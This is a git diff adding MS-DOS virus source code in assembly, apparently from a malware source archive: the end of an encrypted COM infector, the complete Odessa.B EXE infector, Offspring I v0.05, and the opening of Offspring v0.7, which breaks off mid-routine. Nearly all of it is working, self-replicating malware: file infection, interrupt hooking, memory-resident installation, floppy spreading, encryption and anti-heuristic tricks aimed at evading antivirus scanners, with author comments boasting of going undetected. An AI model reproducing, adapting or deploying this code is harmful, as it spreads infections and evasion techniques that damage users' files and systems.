area, this will write the jump + ; instruction to the beggining of the victem file. +int 21h ; Blammo! This is the jmp that skips over the normal + ; file and heads write to the virus code. INT 21h tells + ; DOS to write those three bytes. + +mov ax,4202h ; Function 42h: Move File pointer + ; 02 = End of file ( EOF ) +xor cx,cx ; DX:CX is the offset from the File pointer location, +xor dx,dx ; since we want to be exactly at the EOF we clear DX:CX +int 21h ; Calls DOS to move the file pointer + +; Write the Virus to memory + +VirL EQU Ende-Virus_Start + +; Length of Virus except jmp at beggining + +lea si,[bp+Virus_Start] ; Start of virus +lea di,[bp+buffer] ; Area that it will be stored in mem +mov cx,VirL ; Length of it +rep movsb + +; Now we have to modify it so that it is encrypted + +DHiddenL EQU DCryptie-DHidden ; Length of area to encrypt that will + ; end up double encrypted. +HiddenL EQU Cryptie-Hidden ; Length of single encrypt area +DHBufStart EQU DHidden-Virus_Start+Buffer ; Start of DHidden in buffer +HBufStart EQU Hidden-Virus_Start+Buffer ; Start of Hidden in Buffer + +; More ways to clear up the clutter + +; Here we encrypt All but the second and first Decrypt calls, and the +; decryption routines that go with em. + +lea si,[bp+DHBufStart] ; Time to encrypt the first area that will then +mov di,si ; be encrypted again, giving us our Doubly Encrypted + ; area. +mov cx,DHiddenL ; Length of this area +mov dl,05h ; Encryption value +call DCryptie ; Calls the Second Encryption routine + ; because this will become decrypted by the first + ; when infected files are run. + +; Now we encrypt from Hidden to Cryptie ( while encrypting DHidden to +; DCryptie for the second time ) which makes this double encrypting. + +lea si,[bp+HBufStart] ; Start of Hidden area in buffer +mov di,si ; You should know this one by now. +mov cx,HiddenL ; Length of the area +call Cryptie ; Uhoh, now its encrypted and the AV software won't + ; find it. Now what are we gonna do? + ; ( Being sarcastic of course! ) + +; So we have the virus prepared for infecting :) + +mov ah,40h ; Function 40h: Write to file ( everyone's fave ) +lea dx,[bp+buffer] ; Start of virus in mem buffer +mov cx,VirL ; Length of it +int 21h ; Calls DOS to write this :) + +pop cx ; This is gonna be the infected file count. +inc cx ; We must have found and infected one if we are here so + ; makes sure it gets added to the total. +push cx ; Saves it so we can check again after the next file + ; is found. + +Infected: ; A place to jump in case the file is already infected + +mov ah,3Eh ; Function 3Eh: Close File +int 21h ; Calls DOS to close up the file. + +pop cx +push cx +cmp cl,05h ; Check to see if 5 files have been infected. +je BadStuff +mov ax,4F00h ; Function 4Fh: Find next +jmp Findnext + +Badstuff: ; Here is where the payload goes + +exit: + +; Now we are gonna get outta here, first we should cover up any stuff +; that might show up in a mem dump, so that if anyone looks, all they +; see is garbage. + +lea di,[bp+Virus_Start] ; Gets the location of the Virus_start and hides + ; everything but the encryption itself. ( and the + ; kitchen sink, of course ) +mov si,di ; and put it into DI/SI so we can hide the virus + ; from the host program. +mov cx,cryptie-Virus_start ; Gives length of area to hide into CX +call cryptie ; Calls the encryption loop to hide it + + ; Jumps to the start of the actual program. +;push 100h ; This is encrypted because the call to cryptie +;ret ; will decrypt it and it will be the only thing +db 87h,0EFh,0EEh,2Ch ; unencrypted ( along with the cryptie loop, but + ; they are not very easily recognizable as virus + ; code. ) + +Frstbytes: +mov cx,Cryptie - Hidden ; These will overwrite the jmp that skips the + ; decrypt routines on the first run. +saved db 0CDh,020h,0h ; This is the storage space for the first + ; three bytes from the infected file. CD20 is + ; the 'int 20h' instruction used to exit. +jumping db 0E9h ; E9 = jmp +jumpto db 0,0 ; Place for the new address +filemask db '*.com',0 ; The type of files we are gonna infect. +message db 'Occido/The_Virus_Elf/10.08.97' ; Virus Info + +DCryptie: + +lodsb ; Gets next byte Doomed for De/Encryption +xchg dx,cx ; Saves the count while using the DE/ENcrypt value + ; Uses 3 to decrypt and 5 to encrypt +rol al,cl ; Rotates those bits by CL +not al ; Opposite bits +neg al ; One's complement bits +not al ; More opposite bits +xor al,0C4h ; XORs the value +not al ; See above +neg al ; " " +not al ; " " +rol al,cl ; " " +xchg cx,dx ; Returns the count value to CX +stosb ; Puts the encrypted byte into mem +loop DCryptie ; Does all the bytes specified by CX +ret ; Jumps back to the caller + +Cryptie: + +lodsb ; Gets the next byte to De/Encrypt +ror al,04h ; Rotates the bits 4 places +xor al,0C4h ; Does a little XORing +not al ; Gets the opposite bits +neg al ; Gets the one's complement bits +not al ; Gets the opposite bis again +xor al,0C4h ; More XORing +ror al,04h ; Rotates the bits Back 4 places +stosb ; Plugs AL back into mem +loop Cryptie ; Does all the bytes specified by CX +ret ; Jumps back to where it was called + +buffer: +ende: diff --git a/MSDOS/Virus.MSDOS.Unknown.odessa.asm b/MSDOS/Virus.MSDOS.Unknown.odessa.asm new file mode 100644 index 00000000..4286dd62 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.odessa.asm @@ -0,0 +1,409 @@ +;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% +; Odessa.B virus +; (C) Opic [CodeBreakers '98] +;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% +;Odessa.B variant is a continuation of Odessa (aka opic.727) +; +;Odessa.B's NEW features: +; +;-Odessa.B will NOW infect .Exe files present on any floppy disks +; undetectably (due to a critical error handler). It does so after +; the current HDD is infected. When Odessa.B is present on a floppy +; disk it will move imediatly to the HDD to insure infection of new systems. +;Thus making it a viable floppy born virus (one of the few outside of the +;BS/MBR families) +; +;-an expanded encryption loop +; +;-some minor bug fixes, and optimisations. +; +;Infected files grow approximatly: 745 bytes +; +;Old features: +; +;-Exe file infector +;-directory transversal via dotdot +;-is Windows compatable (ie: will not infect: Windows NE, PE, LE files ect.) + +;-some anti-emulation +;-payload criteria: the virus will activate its payload on +; either the 13th or the 6th of any given month provided the seconds +; are below 30. +; +;-payload: when activated the virus will beep 6 times before the +; infected file is run. I choose this more subtle payload because +;it is easily missed, and only creates a bit of curiosity at most. +;which is a good aspect since the fact that all infected files will +;try to access the floppy drive before running also brings some curious. +;Its also somewhat humerous because the telltale signs of this virus +;are also what many non-computer literate people constantly write to +;AVers about complaining of (to which the AVs constant reply is: +;false alarm. There is a signature line: +;Odessa.B (c) Opic [Codebreakers 1998] +;I have left for the AV to rename for me, as it is never displayed +;(hell i figure their gonna anyways :P ). +; +;detected: Not detected by TBAV as second gen. +; +;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% +Exe_Infector Segment + Assume CS:Exe_Infector, SS:Exe_Infector, DS:Exe_Infector, ES:Exe_Infector + jumps +start: ;set registers up + + dec cx ;lame loop +noav1: + jmp noav2 + mov ax,4c00h + int 21h +noav2: + loop noav1 ;end of antiheur + + push ds + push es + push cs + push cs + pop ds + pop es + Call delta + +delta: ;delta offset + pop bp + sub bp,offset delta + lea si,[bp+Begin_Virus] + mov di,si + mov cx,End_Virus-Begin_Virus + call encrypt + jmp Begin + +encrypt: + lodsb + NEG al ;<-------------13 + ROR al,4 ;<------------12 + NOT al ;<-----------11 + ROR al,4 ;<----------10 + NOT al ;<---------9 + NEG al ;<--------8 + ROL al,4 ;<-------7 + NOT al ;<------6 + ROL al,4 ;<-----5 + NOT al ;<----4 + ROR al,4 ;<---3 + NEG al ;<--2 + NOT al ;<-1 + ROR al,4 ;<0 this huge loop may + NOT al ;<-1 look silly but it + NEG al ;<--2 kills alot of AV + ROR al,4 ;<---3 scanners due becuz + NOT al ;<----4 they think it is + ROL al,4 ;<-----5 endless + NOT al ;<------6 + ROL al,4 ;<-------7 + NEG al ;<--------8 + NOT al ;<---------9 + ROR al,4 ;<----------10 + NOT al ;<-----------11 + ROR al,4 ;<------------12 + NEG al ;<-------------13 + stosb + loop encrypt + ret +Begin_Virus: + +Check_Payload proc + mov ah,2ah ;system date + int 21h + cmp dl,13 ;is it the 31st if the month? + je sec ;yes? test seconds! + cmp dl,6 ;13th ? + je sec ;yes seconds! + jmp CP_Exit ;no? restore. +sec: + mov ah,2Ch ;check time + int 21h + cmp dh,30d ;seconds less then 30? + jnb CP_Exit ;if yes->payload + call Payload + +CP_Exit: + ret +Check_Payload endp + +Payload proc + + mov ah,0eh ;back to c:\ + mov dl,02h + int 21h + + mov cx,6 ;beep 6 times. +beep: + mov al,7 + int 29h + loop beep + ret +Payload endp + +Infect proc + mov ax,3d02h ;open file + lea dx,[bp+End_Virus+1eh] + int 21h + + mov bx,ax ;file handleto bx + mov ah,3fh ;exe head into buffer + lea dx,[bp+header] + mov cx,1ah + int 21h + + cmp word ptr cs:[bp+header],'MZ' ;check .exe signature + je its_exe + cmp word ptr cs:[bp+header],'ZM' + je its_exe + jmp close + +its_exe: + cmp byte ptr cs:[bp+header+12h],'B' ;our infection check + jne not_infected + jmp close + +not_infected: + mov ax, word ptr cs:[bp+header+18h] ;make sure its not a + ;windbloze exe (pe,ne,le .ect) + cmp ax, 40h + jae close ; > or = means windbloze + + mov ax,word ptr cs:[bp+header+0eh] ;save orginal info from header + mov word ptr cs:[bp+old_ss],ax ;stack segment + mov ax,word ptr cs:[bp+header+10h] ;stack pointer + mov word ptr cs:[bp+old_sp],ax + + mov ax,word ptr cs:[bp+header+14h] ;instructional pointer + mov word ptr cs:[bp+old_ip],ax + + mov ax,word ptr cs:[bp+header+16h] ;code segment + mov word ptr cs:[bp+old_cs],ax ;cs:ip =begining of excutable code + + mov ax,4202h ;EOF + xor cx,cx + xor dx,dx + int 21h + + push ax ;save file size + push dx + push ax + + mov ax,word ptr cs:[bp+header+8] ;header size + shl ax,4 ;convert + mov cx,ax ;save header size in cx + pop ax ;restore ax + sub ax,cx ;subtract header from file size to get code and data size + sbb dx,0 + + mov cx,10h + div cx + + mov word ptr cs:[bp+header+14h],dx ;IP create new header + mov word ptr cs:[bp+header+16h],ax ;CS + mov word ptr cs:[bp+header+0Eh],ax ;SS + mov word ptr cs:[bp+header+10h],0fffeh ;SP + mov word ptr cs:[bp+header+12h],'B' ;marker + + pop dx ;restore filesize + pop ax ;dx to ax + + add ax,End_Virus-start + adc dx,0 + + mov cx,512 ;divide new filesize by 512 + div cx + + cmp dx,0 + je no_remainder + inc ax + +no_remainder: + mov word ptr cs:[bp+header+4],ax ;save new filesize + mov word ptr cs:[bp+header+2],dx + + lea si,[bp+Begin_Virus] ;crypt virus + lea di,[bp+Buffer] + mov cx,End_Virus - Begin_Virus + call encrypt + + mov ah,40h ;write decryptor + mov cx,Begin_Virus - start + lea dx,[bp+start] + int 21h + + mov ah,40h ;write encrypted portion + mov cx,End_Virus - Begin_Virus + lea dx,[bp+Buffer] + int 21h + + mov ax,4200h ;SOF + xor cx,cx + xor dx,dx + int 21h + + mov ah,40h ;write new header + lea dx,[bp+header] + mov cx,1ah + int 21h +close: + mov ah,3eh + int 21h + ret +Infect endp + +ni24h proc ; + mov al,3 ;ignore error + iret ;critical error handler +ni24h endp + +Search proc + mov ax,3524h ;critical error handler + int 21h + push bx ;saves orig + push es ;stuffs to restore later + + mov ah,25h + lea dx,[bp+ni24h] + int 21h + + push ds ;ES was changed by 3524h but you need it + pop es ;to be restored for the crypt procedure. + +first: + mov ah,4eh ;find first + lea dx,[bp+filespec] + mov cx,7 + +findnext: + int 21h + jc findover ;no? get out! + call Infect ;yes and infect! + mov ah,4fh ;find next + jmp findnext +findover: + mov ah,3Bh ;change dirs + lea dx,[bp+dotdot] ;to root + int 21h ;now + jnc first ;find first file + +get_cur_drive: + mov ah,19h ;what drive are we on? + int 21h + cmp al,00h ;if already floppy + je Search_Exit ;we can leave now. + + mov ah,0eh ;select default drive + mov dl,00h ;this time the floppy drive + int 21h + jmp first ;exe on floppy? +Search_Exit: + pop ds + pop dx + mov ax,2524h + int 21h + ret +Search endp + +Begin proc + mov ah,2fh ;get current dta + int 21h + push es ;save it + push bx + push cs ;restore es + pop es + + mov ah,1ah ;set new dta to end of virus + lea dx,[bp+End_Virus] + int 21h + + mov ah,0eh ;select default drive (main HDD) + mov dl,02h ;c:\ + int 21h ;so our virus can move from + ;a floppy to a new HDD without + ;any help + + lea si,[bp+old_ip] + lea di,[bp+original_ip] + mov cx,4 + rep movsw + + call Search + call Check_Payload + + mov ah,0eh ;back to c:\ + mov dl,02h + int 21h + +restore: ;restore prev location DTA + pop dx + pop ds + + mov ah,1ah ;reset dta + int 21h + + pop ds + pop es + mov ax,es ;es points to PSP + add ax,10h + add word ptr cs:[bp+original_cs],ax + + cli ;ints off! + add ax,word ptr cs:[bp+original_ss] + mov ss,ax + mov sp,word ptr cs:[bp+original_sp] + sti ;ints on! +Begin endp + + db 0eah +original_ip dw ? +original_cs dw ? +original_ss dw ? +original_sp dw ? + +old_ip dw offset Exit +old_cs dw 0000h +old_ss dw 0000h +old_sp dw 0fffeh +filespec db '*.exe',0 +dotdot db '..',0 +sig db 'Odessa.B (c) Opic [Codebreakers 1998]',0 +header db 1ah DUP(?) +End_Virus db 42 dup(?) +Buffer equ this byte+80h + + db 1024 dup(?) + +Entry proc + mov bp,0000h + push ds + push es + push cs + pop ds + push cs + pop es + jmp Begin +Entry endp + +Exit proc ;<- Begin procedure + mov ax,4c00H + int 21h +Exit endp ;<- End procedure + +Exe_Infector Ends +End Entry + + + + + + + + + + + + + diff --git a/MSDOS/Virus.MSDOS.Unknown.offspr05.asm b/MSDOS/Virus.MSDOS.Unknown.offspr05.asm new file mode 100644 index 00000000..dd503f73 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.offspr05.asm @@ -0,0 +1,439 @@ +;------------------------------------------------------------------------- +; OSPRING.COM - Make sure you compile this to a COM file +; - Compatible with A86 v3.22 +; OFFSPRING I - By VG Enterprises (Virogen) +; +; NOTICE : Don't hold me responsible for any damages, or the release +; of this virus. Use this at your own risk. NOT intended +; for any lamers to upload the Mcafee! Thank you for your +; loyal obendience. +; +; TYPE : SPAWNING RESIDENT +; VERSION : BETA 0.05 +; +; FIXED/NEW IN VERSION 0.05 +; - Mutation engine much smaller +; - Now change interrupt vectors directly +; - The XOR number is now generated randomly +; using the system clock as a base. +; - The FF/FN buffer has been moved outside +; of the virus code, so disk space is +; lowered. +; +; INFECTION METHOD : Everytime DOS changes directories, or changes +; drives... all files in the CURRENT directory +; (the one you're coming out of) will be infected. +; COM files will be hidden, and have the read-only +; attribute. When they are executed they will +; check if the virus is already in memory, and +; then execute the corresponding EXE file. See +; DOCS. +; +; This virus is NOT completed, so don't go off when you find a +; bug. There is one that I haven't determined the cause of yet, +; Do a 'DIR' of a directory other than the current, and see +; what happens. There's still some variables that can be +; moved outside of the code, but it won't make a hell of +; a difference in size. +; +; +; +; + title off_spring_1 + .286 +cseg segment + assume cs: cseg, ss: cseg, es: cseg + +signal equ 7dh ; Installation check +reply equ 0FCh ; Yep, we're here + +cr equ 0dh ; carraige return +lf equ 0ah ; line feed + +f_name equ 1eh ; Offset of file name in FF/FN buffer +f_sizel equ 1ch ; File size - low + + org 100h ; Leave room for PSP +; jump to the beginning of the main procedure +start: + + jmp no_dec ; Skip decryption, changes to NOP + lea di,enc_data+2 ; Point to byte after encryption num + mov dx,[di-2] ; load encryption num + call encrypt ; Decrypt the virus + no_dec: + jmp main ; Jump to main routine + +enc_data DW 0000 ; Encryption Data - num we XOR by + + +ID DB cr,lf,'(c)1993 VG Enterprises',cr,lf ; my copyright +VNAME Db cr,lf,'* Congratulations, You have recieved the privelge of being infected by the *' + Db cr,lf,'* Offspring I v0.05. *','$' + +fname db '*.EXE',0 ; Filespec to search for + +sl db '\' ; Backslash for directory name +file_dir db 64 dup(0) ; directory of file we infected +file_name db 13 dup(0) ; filename of file we infected +old_dta dd 0 ; old seg:off of DTA +old21_ofs dw 0 ; Offset of old INT 21H +old21_seg dw 0 ; Seg of old INT 21h + +par_blk dw 0 ; command line count byte -psp +par_cmd dw 0080h ; Point to the command line -psp +par_seg dw 0 ; seg + dw 05ch ; Use default FCB's in psp to save space +par1 dw 0 ; + dw 06ch ; FCB #2 +par2 dw 0 ; + +;-------------------------------------------------------------------- +; This is our new INT 21H (dos) interrupt handler! +; +; +;--------------------------------------------------------------------- + +new21 proc ; New INT 21H handler + + cmp ah, signal ; signaling us? + jne no + mov ah,reply ; yep, give our offspring what he wants + jmp end_21 + no: + cmp ah, 3bh ; + je run_res ; Nope, jump + cmp ah,0eh + jne end_21 + + run_res: + push ax + push bx + push cx + push dx + push di + push si + push bp + push ds + push es + push sp + push ss + + push cs + pop ds + mov ah,2fh + int 21h ; Get the DTA + + mov ax,es + mov word ptr cs: old_dta,bx + mov word ptr cs: old_dta+2,ax + push cs + pop es + + call resident + + mov dx,word ptr cs: old_dta + mov ax,word ptr cs: old_dta+2 + mov ds,ax + mov ah,1ah + int 21h ; Restore the DTA + + pop ss + pop sp + pop es + pop ds + pop bp + pop si + pop di + pop dx + pop cx + pop bx + pop ax + end_21 : + jmp [ dword ptr cs: old21_ofs] ; jump to original int 21h + iret + new21 endp ; End of handler + + +; ------------------------------------------------------------ +; Main procedure +; ----------------------------------------------------------- +main proc + + + mov word ptr [0100h],9090h ; NOP the jump past decryption + mov byte ptr [0102h],90h + mov bx,(offset vend+50) ; Calculate memory needed + mov cl,4 ; divide by 16 + shr bx,cl + inc bx + mov ah,4ah + int 21h ; Release un-needed memory + + mov ax,ds: 002ch ; Get environment address + mov par_blk,ax ; Save in parameter block for exec + + mov par1,cs ; Save segments for EXEC + mov par2,cs + mov par_seg,cs + + mov ah,2ah ; Get date + int 21h + + cmp dl,14 ; 14th? + jne no_display + + mov ah,09 ; Display message + lea dx,ID + int 21h + + no_display: + call install ; check if installed, if not install + + + mov dx,offset file_dir -1 ; Execute the original EXE + mov bx,offset par_blk ; For some damned reason + mov ax,4b00h ; control is not returned back + int 21h ; to the virus. + + push cs + pop ds + mov es,ds + + mov ah,4ch ; Exit + int 21h +main endp + +;--------------- +; INSTALL - Install the virus +;--------------- + +Install Proc + + mov ah,signal + int 21h + cmp ah,reply + je no_install + + + xor ax,ax + mov es,ax + mov ax,es: [21h*4+2] + mov bx,es: [21h*4] + mov ds: old21_seg,ax ; Store segment + mov ds: old21_ofs,bx ; Store offset + + cli + + mov es: [21h*4+2],cs ; Save seg + mov es: [21h*4],offset new21 ; off + + sti + + push cs + pop ds + mov es,ds + + mov dx,(offset vend+50) + add dx,dx + ; Calculate memory needed + mov cl,4 ; \ Divide by 16 + shr dx,cl ; / + add dx,1 ; + + mov ax,3100h ; + int 21H ; Terminate Stay Resident + ret + + no_install: + ret +Install Endp + +;------------------------ +; Resident - This is called from the INT 21h handler +;----------------------------- +resident proc + + mov ax,ds ; Calculate segment of MCB + dec ax ; + mov ds,ax ; + mov ds: [0001],word 0008h ; Mark DOS as the owner- so some + ; utilities won't id the file the virus + ; loaded from. + push cs + pop ds + + + mov word ptr vend,0 ; Clear ff/fn buffer + lea si, vend ; + lea di, vend+2 ; + mov cx,22 ; + cld ; + rep movsw ; + + ; Set DTA address - This is for the Findfirst/Findnext INT 21H functions + mov ah, 1ah + lea dx, vend + int 21h + + + + +; Find first .EXE file + mov ah, 4eh + mov cx, 0 ; Set normal file attribute search + lea dx, fname + int 21h + + jnc next_loop + jmp end_prog + + next_loop : + + mov file_dir,0 + lea si,file_dir + lea di,file_dir+1 + mov cx,77 + cld + rep movsb + + mov ah,47h + xor dl,dl + lea si,file_dir + int 21h + + cmp word ptr vend[f_sizel],0 + jne find_file + + xor bx,bx + lm3 : + inc bx + cmp file_dir[bx],0 + jne lm3 + + mov file_dir[bx],'\' + inc bx + + mov cx,13 + lea si,vend[f_name] + lea di,file_dir[bx] + cld + rep movsb + + xor bx,bx + mov bx,1eh + + loop_me: + inc bx + cmp byte ptr vend[bx], '.' + jne loop_me + + inc bx + mov word ptr vend [bx],'OC' + mov byte ptr vend [bx+2],'M' + + + call write_file ; Write virus to file +; Find next file + find_file : + + mov ah,4fh + int 21h + jnc next_loop + + end_prog: + exit : + ret +resident endp + +;------------------------------------------------ +; Write file procedure - Creates the file, writes the file, closes the file +;----------------------------------------------- +write_file proc + + + lea dx, vend[f_name] + mov ah, 3ch ; Create file + mov cx, 02h ; READ-ONLY + or cx, 01h ; Hidden + int 21h ; Call INT 21H + jc no_infect ; If Error-probably already infected + + mov bx,ax + push dx + + + call copy_mem ; copy virus just outside of code + mov ah,2ch ; + int 21h ; Get random number from clock + lea di,vend+enc_data-204 ; offset of new copy of virus + + mov [di-2],dx ; save encryption # + + push bx + call encrypt ; writing it to a file + pop bx + + mov cx, offset vend-100h ; # of bytes to write + lea dx, vend+50 ; Offset of buffer + mov ah, 40h ; -- our program in memory + int 21h ; Call INT 21H function 40h + + pop dx + + mov ah, 3eh + int 21h + no_infect: + ret ; Return +write_file endp + +;------------------------------------------------ +; Copies virus outside of code, to encrypt +;------------------------------------------------ +copy_mem proc + + + mov si,0100h ; si=0 + lea di,vend+50 ; destination + mov cx,offset vend-100h ; bytes to move + cld + rep movsb + + ret +copy_mem endp + + +end_encrypt dw 0000h ; Let's encrypt everything up to here + +;------------------------------------------------ +; Encrypt +; +; Call with +; di=offset of encrypted/decrypted data +; dx=XOR value +; +; - First word to encrypt must be a free word. +; This word will be used as the encryption base. Every time the virus +; is encrypted a random number will be saved here. +; +;----------------------------------------------- + +encrypt proc + + mov cx,(offset end_encrypt - offset enc_data)/2 + E2: + xor [di],dx ; Xor each word by dx + inc di + inc di ; increment index + loop E2 ; loop while cx != 0 + + ret + + encrypt endp + + + +vend dw 0 + +cseg ends + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.offspr07.a86 b/MSDOS/Virus.MSDOS.Unknown.offspr07.a86 new file mode 100644 index 00000000..f9fcd0ae --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.offspr07.a86 @@ -0,0 +1,714 @@ +;------------------------------------------------------------------------- +; ************************************************ +; OFFSPRING v0.7 - BY VIROGEN - 04-26-93 +; ************************************************ +; +; - Compatible with A86 v3.22 +; +; +; DISCLAIMER : Don't hold me responsible for any damages, or the release +; of this virus. Use at your own risk. +; +; TYPE : Parastic Spawning Resident Encrypting (PSRhA) +; +; +; VERSION : BETA 0.7 +; +; INFECTION METHOD : Everytime DOS function 3Bh (change dir) or function +; 0Eh (change drive) is called the virus will infect +; up to 5 files in the current directory (the one +; you're coming out of). It will first infect all +; EXE files by creating a corresponding COM. Once +; all EXE files have been infected, it then infects +; COM files. All COM files created by a spawning +; infection will have the read-only and hidden +; attribute. +; +; +; THE ENCRYPION OF THIS VIRUS : +; Ok, this virus's encryption method is a simple +; XOR. The encryption operands are changed directly. +; Also, the operands are switched around, and the +; bytes between them are constantly changed. The +; call to the encryption routine changes, so the +; address can be anywhere in a field of NOPs. +; Not anything overly amazing, but it works. +; +; + TITLE OFFSPRING_1 + .286 +CSEG SEGMENT + ASSUME CS: CSEG, SS: CSEG, ES: CSEG + +SIGNAL EQU 7DH ; Installation check +REPLY EQU 0FCH ; reply to check +CR EQU 0DH ; carraige return +LF EQU 0AH ; line feed +F_NAME EQU 1EH ; Offset of file name in FF/FN buffer +F_SIZEL EQU 1CH ; File size - low +F_SIZEH EQU 1AH ; File size - high +F_DATE EQU 18H ; File date +F_TIME EQU 16H ; File time +MAX_INF EQU 05 ; Maximum files to infect per run +MAX_ROTATION EQU 9 ; number of bytes in switch byte table +PARASTIC EQU 01 ; Parastic infection +SPAWN EQU 00 ; Spawning infection + + ORG 100H ; Leave room for PSP + +;------------------------------------------------------------------ +; Start of viral code +;------------------------------------------------------------------ + +START: + + DB 0BEH ; MOV SI,xxxx - Load delta offset +SET_SI: DW 0000H + +SKIP_DEC: JMP NO_DEC ; Skip decryption, changes into NOP on + ; replicated copies. +M_SW1: NOP ; changs into a byte in op_set +XCHG_1 DB 0BFH + DW OFFSET ENC_DATA+2 ; Point to byte after encryption num + ; Switches positions with XCHG_2 +M_SW2: NOP ; changes into a byte in op_set +XCHG_2 DB 090H +ENC_NUM DW 9090H +M_SW3: NOP + +DI_INS: DW 0C783H ; ADD DI,0 - changes to ADD DI,xxxx +ADD_DI: DW 9000H ; 00-NOP + +CALL_ENC DB 0E8 ; Call encryption routine - address changes +E_JMP DW (OFFSET END_ENCRYPT-OFFSET E_JMP+2) + NO_DEC: + JMP MAIN ; Jump to virus code + +;----------------------------------------------- +; Data area +;----------------------------------------------- + +ENC_DATA DW 0000 ; Start of encrypted data +ROT_NUM DW 0000 ; Used when replacing bytes with OP_SET +VTYPE DB 00 ; Spawning or Parastic Infection? +INF_COUNT DB 0 ; How many files we have infected this run +COM_NAME DB 'COMMAND.COM' ; obvious +NEW_CODE DW 9090H ; ID bytes +NEW_JMP DB 0E9H,00,00 ; New Jump +FIRST_FIVE DB 5 DUP(0) ; original first five bytes of parasic inf. +ADD_MEM DB 0 ; restore mem size? Yes,No + +ID DB CR,LF,'(c)1993 negoriV',CR,LF ; my copyright +VNAME DB CR,LF,'* Thank you for providing me and my offspring with a safe place to live *' + DB CR,LF,'* Offspring I v0.07. *',CR,LF,'$' + +FNAME1 DB '*.EXE',0 ; Filespec +FNAME2 DB '*.COM',0 ; Filespec +FNAME_OFF DW FNAME1 ; Offset of Filespec to use +TIMES_INC DB 0 ; # of times encryption call incremented +SL DB '\' ; Backslash for directory name +FILE_DIR DB 64 DUP(0) ; directory of file we infected +FILE_NAME DB 13 DUP(0) ; filename of file we infected +OLD_DTA DD 0 ; old seg:off of DTA +OLD21_OFS DW 0 ; Offset of old INT 21H +OLD21_SEG DW 0 ; Seg of old INT 21h +NEW_SEG DW 0 ; New segment in high mem + +PAR_BLK DW 0 ; command line count byte -psp +PAR_CMD DW 0080H ; Point to the command line -psp +PAR_SEG DW 0 ; seg + DW 05CH ; Use default FCB's in psp to save space +PAR1 DW 0 ; + DW 06CH ; FCB #2 +PAR2 DW 0 ; + +;-------------------------------------------------------------------- +; INT 21h +;--------------------------------------------------------------------- + +NEW21 PROC ; New INT 21H handler + + CMP AH, SIGNAL ; signaling us? + JNE NO + MOV AH,REPLY ; yep, give our offspring what he wants + JMP END_21 + NO: + CMP AH, 3BH ; set dir func? + JE RUN_RES + CMP AH,0EH ; set disk func? + JE RUN_RES + + JMP END_21 + + RUN_RES: + PUSHF + PUSH AX ; Push regs + PUSH BX + PUSH CX + PUSH DX + PUSH DI + PUSH SI + PUSH BP + PUSH DS + PUSH ES + PUSH SP + PUSH SS + + PUSH CS + POP DS + + XOR AX,AX ; nullify ES + MOV ES,AX + + CMP ADD_MEM,1 ; Restore system conventional mem size? + JE REL_MEM ; + CMP AH,48H ; alloc. mem block? If so we subtract 3k from + JE SET_MEM ; total system memory. + + JMP NO_MEM_FUNC + + SET_MEM: + SUB WORD PTR ES: [413H],3 ; Subtract 3k from total sys mem + INC ADD_MEM ; make sure we know to add this back + JMP NO_MEM_FUNC + REL_MEM: + ADD WORD PTR ES: [413H],3 ; Add 3k to total sys mem + DEC ADD_MEM + + + NO_MEM_FUNC: + MOV AH,2FH + INT 21H ; Get the DTA + + MOV AX,ES + MOV WORD PTR OLD_DTA,BX + MOV WORD PTR OLD_DTA+2,AX + PUSH CS + POP ES + + CALL RESIDENT ; Call infection kernal + + MOV DX,WORD PTR OLD_DTA + MOV AX,WORD PTR OLD_DTA+2 + MOV DS,AX + MOV AH,1AH + INT 21H ; Restore the DTA + + POP SS ; Pop regs + POP SP + POP ES + POP DS + POP BP + POP SI + POP DI + POP DX + POP CX + POP BX + POP AX + POPF + END_21 : + JMP [ DWORD PTR CS: OLD21_OFS] ; jump to original int 21h + IRET + NEW21 ENDP ; End of handler + + +;------------------------------------------------------------ +; Main +;----------------------------------------------------------- +MAIN PROC + + MOV WORD PTR [SI+OFFSET SKIP_DEC],9090H ; NOP the jump past decryption + MOV BYTE PTR [SI+OFFSET SKIP_DEC+2],90H + + MOV AX,DS: 002CH ; Get environment address + MOV [SI+OFFSET PAR_BLK],AX ; Save in parameter block for exec + + MOV [SI+OFFSET PAR1],CS ; Save segments for EXEC + MOV [SI+OFFSET PAR2],CS + MOV [SI+OFFSET PAR_SEG],CS + + MOV AH,2AH ; Get date + INT 21H + + CMP DL,14 ; 14th? + JNE NO_DISPLAY + + MOV AH,09 ; Display message + LEA DX,[SI+OFFSET ID] + INT 21H + + NO_DISPLAY: + CALL INSTALL ; check if installed, if not install + + CMP BYTE PTR [SI+OFFSET VTYPE],PARASTIC + JE SKIP_THIS + MOV BX,(OFFSET VEND+50) ; Calculate memory needed + MOV CL,4 ; divide by 16 + SHR BX,CL + INC BX + MOV AH,4AH + INT 21H ; Release un-needed memory + + LEA DX,[SI+OFFSET FILE_DIR -1] ; Execute the original EXE + LEA BX,[SI+OFFSET PAR_BLK] + MOV AX,4B00H + INT 21H + + MOV AH,4CH ; Exit + INT 21H + + SKIP_THIS: + + MOV CX,5 ; Restore original first + ADD SI,OFFSET FIRST_FIVE ; five bytes of COM file + MOV DI,0100H + CLD + REP MOVSB + + MOV AX,0100H ; Simulate CALL return to 0100h + PUSH AX + RET + +MAIN ENDP + +;--------------- +; INSTALL - Install the virus +;-------------- + +INSTALL PROC + + MOV AH,SIGNAL + INT 21H + CMP AH,REPLY + JE NO_INSTALL + + MOV AX,CS + DEC AX + MOV DS,AX + CMP BYTE PTR DS: [0],'Z' ;Is this the last MCB in + ;the chain? + JNE NO_INSTALL + + + MOV AX,DS: [3] ;Block size in MCB + SUB AX,190 ;Shrink Block Size-quick estimate + MOV DS: [3],AX + + MOV BX,AX + MOV AX,ES + ADD AX,BX + MOV ES,AX ;Find high memory seg + + PUSH SI + ADD SI,0100H + MOV CX,(OFFSET VEND - OFFSET START) + MOV AX,DS + INC AX + MOV DS,AX + MOV DI,100H ; New location in high memory + CLD + REP MOVSB ; Copy virus to high memory + + POP SI + MOV DS: NEW_SEG,ES ;Save new segment + + PUSH 